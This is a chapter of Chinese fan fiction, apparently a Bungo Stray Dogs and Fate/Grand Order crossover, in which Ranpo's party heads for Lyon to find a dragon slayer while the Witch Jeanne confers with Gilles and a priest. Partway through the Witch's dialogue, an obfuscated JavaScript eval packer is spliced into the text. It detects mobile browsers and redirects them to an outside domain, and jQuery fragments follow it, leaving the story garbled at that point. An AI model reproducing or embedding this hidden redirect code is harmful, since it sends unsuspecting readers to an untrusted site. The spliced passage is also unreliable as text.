乱步转头看向罚，神色莫名：“你很希望我去里昂？为什么？”


    罚眨眨眼，随后移开视线，他低垂眼睑看向地面，轻声说：“对龙特攻是必要的，亲爱的御主。”


    “有你不就够用了吗？”乱步扫过玛尔达消失的那块地面，先前大铁甲龙塔拉斯克战斗留下的痕迹还在那里，“你也有对龙的特攻，无论是刚刚的战斗，还是最开始在堡垒外击杀那些双足飞龙。那些毕竟是幻想种，虽说你的苏联概念对于‘神秘’有一定的优势，同时也有对龙特攻在起作用。”


    罚陈思片刻，还是诚实开口：“虽然您信任我的能力很让人高兴，但特攻的功效也是有等级之分的。对于双足飞龙那类的亚种，我可以一击毙命，但是到塔拉斯克那种级别的龙种则只能破甲，刚刚能赢的主要原因是直接打败了作为召唤者的玛尔达。”


    “如果之后面对魔女贞德那种级别的怪物，以及玛尔达提到过的‘灾厄结晶’，我的对龙特攻的水平完全不够用，必须只有拥有完全的‘屠龙者’概念的对龙特攻才能奏效。并且，无论是龙还是屠龙者，越有经典出处、越能相互对应，那么对彼此的牵制和特攻才越起效。”


    贞德想到什么，转头询问身边的玛丽：“之前那个龙之魔女身边的金发骑士，玛丽你认识吗？”


    “如果我没认错的话，她是迪昂。”玛丽点头，神情有些忧伤，“那位高洁的骑士被迫成为杀人如麻的怪物，她的内心也不好受吧。”


    获得罗曼医生场外信息补充的玛修念出迪昂的信息，其中最引人注意的一个身份是——“龙骑士”。


    玛丽惊讶地捂住嘴，“咦？玛尔达小姐是不是也有‘龙骑士’的属性？”


    如果是平常，乱步现在肯定会嫌弃又咋咋呼呼教育他们：魔女君都自称龙之魔女了，对方肯定跟龙强相关啊！


    但现在在他面前最重要的事情是罚，这个总是装模作样的俄国人说：“龙之魔女要前往里昂，那么奥尔良的防守会空虚不少，我要去奥尔良。”


    这就有些麻烦，虽然先前有说过要放这家伙出去单独行动，可那是建立在己方战力充足的情况下。如果要去里昂再次直面魔女贞德，乱步不觉得没有罚的四人战斗力足够。


    乱步疑惑歪头，“你要去杀掉魔女君身边的‘你’？可是现在并不是一个好时机，他既然从来不跟着魔女君出来，魔女君也放心把他留在那里，奥尔良一定有完全的部署和准备。”


    罚摇摇头，“我不会和他起正面冲突。虽说我和他的关系就像贞德和龙之魔女，无法相互理解，但同时我们也无法相互吞并，我们之间只有永恒的斗争和并存，他的强大是我的强大，我的强大是他的强大。”


    “因为，‘罪与罚是好朋友’，这就是我们的概念。”


    乱步咋舌，“真麻烦。明明已经知道对方的埋伏，还要故意踩进去，乱步大人可装不来这么愚蠢的行为！”


    罚笑眯眯地出主意，“怎么会是装傻呢？这是您智慧指挥的一部分啊。我和您没有在龙之魔女面前露面，玛尔达的信息也没有传递回去，那么现在就是借时间差埋藏奇兵的好时机。龙之魔女会在途中埋伏你们，那么只要让露过面的人吸引注意力，您一个人潜入里昂，带走屠龙者，最后再指挥所有人撤退。把敌人玩弄于股掌之中，不是很精彩吗？“


    乱步有些被说动，脸上浮现出明显的感兴趣的神色。玛修却非常拒绝这个计划：“不，绝对不能让前辈一个人去做这么危险的事情！因为……前辈一个人绝对会迷路的！”


    “……嗯，确实是很严重的问题。”罚安静片刻，最后只能面带笑容干巴巴地感慨一句。


    这下轮到乱步炸毛，“乱步大人才不是迷路！只是不会记不需要的事情！要是有需要的话，乱步大人轻轻松松就能背下法国地图！”


    “啊哈哈……”被夹在乱步和玛修中间的贞德努力安抚御主，“是吗？您真厉害！但一个人行动确实有些危险，不如我们再讨论一下吧？”


    玛修和贞德的担忧反而激发了乱步非要证明自己的逆反心理，他把眼镜一戴，直接往里昂的方向走，“这个世界上不存在乱步大人解决不了的事件！去里昂，现在就去！”


    “哇啊，前辈等等我！”玛修赶紧赶上去。


    贞德也招呼玛丽和莫扎特一起出发，罚停留在原地，和贞德告别：“那么，我们暂时分开行动了，贞德。愿你武运昌隆。”


    总感觉这家伙刚刚在拱火的贞德，面对罚的祝词，也不免放下情绪，她认真地回应：“好的，你也一切小心，罚。这段时间以来多谢你，祝你顺利。”


    ——


    熟悉的宫殿和厅堂，魔女贞德坐在首座，侧耳聆听吉尔的汇报。


    “骑兵的反应消失了？那么接下来由我和‘他’出面，再带上这次召唤出来的从者们。吉尔，你也去通知狂化暗匿者一声。”


    身穿深色魔术师衣袍的男人满怀虔诚地低头行礼，“遵命。如果是过去的我，想必一定会阻止您吧。但现在的您是完美无缺的存在，贞德，武运对您来说都已是毫无必要的了！请尽情蹂躏那些逆党吧！”


    魔女贞德被恭维，却没有任何喜悦的神色，她沉着脸，问了一个问题：“吉尔，你觉得我和她，谁才是真正的贞德？”


    吉尔满脸惊讶，像是不明白魔女贞德为何会有这种犹豫、他正色道：“当然是您。”


    “听好了，贞德。您被处以了火刑，还遭到所有人的背叛！那个查理七世不舍得支付赔款，只是眼睁睁看着您被送上处刑台！没有一个人愿意为了就您而勇敢地站出来！”


    “为什么会出现如此不讲理的事？是因为神啊！这正是吾等所信奉的神对吾等的嘲弄！正是因为这样，我等才会否定神明！你说呢，罪？”


    白衣黑发的神父一直安静地站在魔女贞德身侧，他一直闭着眼，单手握着十字吊坠抵在唇边，听到吉尔喊他的名字，才睁开眼看向两人。


    “是的，正如元帅所说。神对于我等的呼叫没有任何相应，毫无疑问，神早已不在这片土地。”


    迷茫自那双熔金的瞳孔里一闪而过，魔女贞德呼出一口气，说道：


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16382598|183591||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “是的，说的没错，吉尔。我一无所有，神也从来不曾降临。我信仰的人民、国王、教众、神，都背叛了我。也就是说，我错了。”


    “既然如此，我必须要纠正这个错误。曾经的贞德是错误的，救国行为本身就是一个致命的错误。纠正这个错误，为此，我要肃清整个法兰西。”


    罪微笑点头，“您的复仇是正确的。既然这个国家恬不知耻地趴在您的‘拯救’上压榨、吸取您的骨髓和血肉，那么您当然有毁灭它的权利。”


    魔女贞德慢慢展露出快意的笑容：“是啊，吉尔，罪，尽管你们每次说的话都很极端，这次却令我很安心。”


    她站起身，步履不停地走出厅室，走出宫殿，“走吧，湖上骑士兰斯洛特，刽子手夏尔·亨利·桑松，跟我来。”


    ——


    晴空之下，一座简陋的小镇正享受着少有的宁静生活。这里的人们绝大部分都是从已经被毁灭的里昂逃出来的难民，那座城市在不久以前就已经被摧毁，但受过某位“神明”庇护的人们努力逃出来，并重新建造起这一小片家园。


    “哼，魔女君还真是能干，真够迅速的。”乱步听完进入小镇打探消息的玛丽的汇报，得出结论，“不过，为什么是‘神明’？有哪个神话传说里的神具有屠龙属性吗？”


    玛丽回忆镇民们的描述，回答：“或许是指那位屠龙者是大家的守护神之类的？据说，那位神明拥有着撼天动地的强大力量，他发怒的时候，轻易就可以吧双足飞龙和骸骨兵碾碎。但在平时那位神明对于人们却非常友好和善，甚至会帮助走不动路的老奶奶。”


    贞德：“原来如此。听起来还真是一位好人啊。”


    “嗯。可是在不久以前，里昂的城市里弥漫起一阵奇怪的白色烟雾，那位神明大人就此失踪。而没有了神明庇护的百姓们没办法抵抗邪龙，只好逃出城市，里昂也在邪龙的攻击下化为废墟。”


    乱步若有所思地点点头，看向离小镇最近的另一边的城市，“那边有军队驻扎，这种时候原来还有肯反抗的人类啊。圣女君，你要去看看吗？”


    “嗯？为什么是我？”贞德有些不解。


    玛丽倒是有些了然，“啊，刚才也有听说，似乎吉尔·德·雷·元帅重新编制了军队，打算夺回里昂。”


    “吉尔！？”贞德吃惊，还能听到生前战友的名字，让她有种恍如隔世的感觉，不过本来确实也是“隔了一世”。


    玛修却代替贞德摇头拒绝了这个提议：“贞德小姐恐怕很难与那位元帅汇合吧。”


    “虽然我不觉得对方会因为‘龙之魔女’而无法接受你，但是不想去那就算了。”乱步忽然伸手摸了摸贞德的头顶，获得贞德受宠若惊的表情，乱步露出得意的笑脸，催促玛修，“我们快走，再过一会儿就要有落草为寇的士兵来打劫了。”


    玛修闻言立刻背着御主往流寇的方向走去：“那就更加要维持治安才行！”


    哇哇乱叫的乱步由于没办法挣脱玛修看似先纤弱实际上有的是力气的钳制，只能郁卒地被强行带去击退杂兵。